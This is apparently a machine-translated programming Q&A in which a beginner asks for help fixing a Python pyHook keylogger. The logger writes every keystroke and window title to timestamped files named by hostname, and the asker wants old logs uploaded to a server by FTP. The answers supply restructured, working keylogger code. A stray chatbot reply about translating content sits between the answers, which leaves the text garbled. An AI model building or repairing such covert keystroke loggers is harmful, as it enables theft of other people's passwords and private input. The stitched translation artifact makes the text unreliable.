Python使用pyhook进行多线程
import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread
def fi():
while True:
dr = socket.gethostname()
if not os.path.exists(dr):
os.makedirs(dr)
else:
pass
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
statinfo = os.stat(fil)
fils = statinfo.st_size
if(fils > 20):
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
else:
pass
lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
print lastWindow
def OnKeyboardEvent(event):
global lastWindow
window = event.WindowName
key = chr(event.Ascii)
if window != lastWindow:
start = '-----------------------------------'
print str(start)
print window
lastWindow = window
print key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
if __name__ == '__main__':
Thread(target = fi).start()
Thread(target = OnKeyboardEvent(event)).start()
这段代码的第一部分定义了一个叫做 fi() 的函数,当文件大小超过 20KB 时,它会创建一个新文件。第二部分是一个键盘记录器,它会把按下的键记录到文件里。我刚开始学习 Python 和多线程编程。现在当我运行这段代码时,只能让键盘记录器工作,但没有生成文件,也没有创建日志。请帮我解决这个问题。
- 我只需要这段代码能创建一个以当前时间命名的日志文件,并把所有按键记录到这个文件里。如果文件大小超过 20KB,就应该把旧文件上传到服务器,并用新的当前时间创建一个新文件。我刚开始学 Python,所以不太确定这段代码哪里出错了,或者它没有做到什么。
3 个回答
我注意到你对原始信息的编辑和评论。如果你还在继续这个项目,我有一些建议。
先别管日志记录、线程处理和其他那些复杂的东西。专注于让PyHook在最简单的状态下工作。从你原来的代码来看,似乎你在设置pyHook时遇到了困难(注意,我现在没有安装pyHook,所以这段代码没有经过测试):
import pyHook
def OnKeyboardEvent(event):
print(event)
if __name__ == '__main__':
global hm #if we make this global, we can access inside OnKeyboardEvent
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
try:
pythoncom.PumpMessages() #This call will block forever unless interrupted,
# so get everything ready before you execute this.
except (KeyboardInterrupt, SystemExit) as e: #We will exit cleanly if we are told
print(e)
os._exit()
这段代码的目的是简单地捕捉任何按键事件,并将事件信息打印到控制台。技术上来说,你在事件回调函数里不应该做太多事情(应该尽快返回),但为了测试,你可以暂时把一些你的工作函数放在事件循环里。这只是暂时的,等你准备好再加入线程处理的部分。(如果文件访问函数出现错误,也不要感到惊讶)。
先把这个搞定。然后再试着把标准输出保存到一个文件里。(暂时先不考虑20Kb的文件限制)。
import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread
def OnKeyboardEvent(event):
# Now you can access your hookmanager, and change which keys you want
# to watch. Using 'event' and 'hm', you can do some fun stuff in here.
global hm
global lastWindow
window=win32gui.GetWindowText(win32gui.GetForegroundWindow())
####window = event.WindowName
####I'm not sure, but these last two functions may not return the "exact"
####name values. I would call the same function you trying to compare against.
key = chr(event.Ascii)
if window != lastWindow: ## Now you know these at least come from same function
start = '-----------------------------------'
print str(start)
print window
lastWindow = window
print key
def fi(): #This is your "worker loop"
while True:
dr = socket.gethostname()
if not os.path.exists(dr):
os.makedirs(dr)
else:
pass
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
statinfo = os.stat(fil)
fils = statinfo.st_size
if(fils > 20):
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
else:
pass
if __name__ == '__main__':
"""This stuff only executes once"""
global lastWindow
lastWindow = None
lastWindow=win32gui.GetWindowText(win32gui.GetForegroundWindow())
print lastWindow
global hm #if we make this global, we can access inside OnKeyboardEvent
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
Thread(target = fi).start() #This is your worker loop
# We don't need this. OnKeyboardEvent will get callbacks from system
# thanks to Hookmanager and PumpMessages
##Thread(target = OnKeyboardEvent(event)).start()
# You wouldn't want to do it with the way we are set up, but this is a "polite"
# way to get PumpMessages to return...
#ctypes.windll.user32.PostQuitMessage(0) # stops pumpMessages
try:
pythoncom.PumpMessages() #This call will block forever unless interrupted
except (KeyboardInterrupt, SystemExit) as e: #We will exit cleanly if we are told
print(e)
os._exit()
当然可以!请把你想要翻译的内容发给我,我会帮你把它变得更简单易懂。
第一个问题
你创建了两个线程,但第二个线程的目标是函数 OnKeyboardEvent(event)
的返回值。这个函数没有返回值,所以返回的就是 None
,这样线程就没有目标了。
第二个问题
你的代码根本没有执行到 if __name__ == "__main__":
这一部分。它在 pythoncom.PumpMessages()
这里卡住了,至少对我来说是这样。
第三个问题
一开始我很困惑,为什么你的代码能运行而没有抛出异常——event
在最后一行之前并没有定义。不过问题二让问题三暂时没有影响,但如果你解决了问题二,就得面对问题三了。
解决方案
说实话,我不太明白你想做什么。你应该认真解决每一个问题。
不要调用线程的目标,给线程一个函数对象。如果需要参数,可以使用
Thread
的args
参数,比如Thread(target = OnKeyboardEvent, args=(event)).start()
我对
pythoncom
的用法不太了解。也许pythoncom.PumpWaitingMessages()
是你想要的?我不知道你在这里想做什么。为什么要在一个线程中调用回调函数?这个函数没有循环之类的,所以它只会运行一次就停止。我猜这只是一次绝望的尝试?
一般建议
- 除非真的需要,否则我不建议重新定义
sys.stdout
。 - 请记得
close()
你打开的文件。可以考虑使用with
语句。 - 更好的做法是使用
logging
模块,它提供了很多不同的功能。 - 创建线程时,要考虑结束的时机。它什么时候会停止?如何从另一个线程停止它?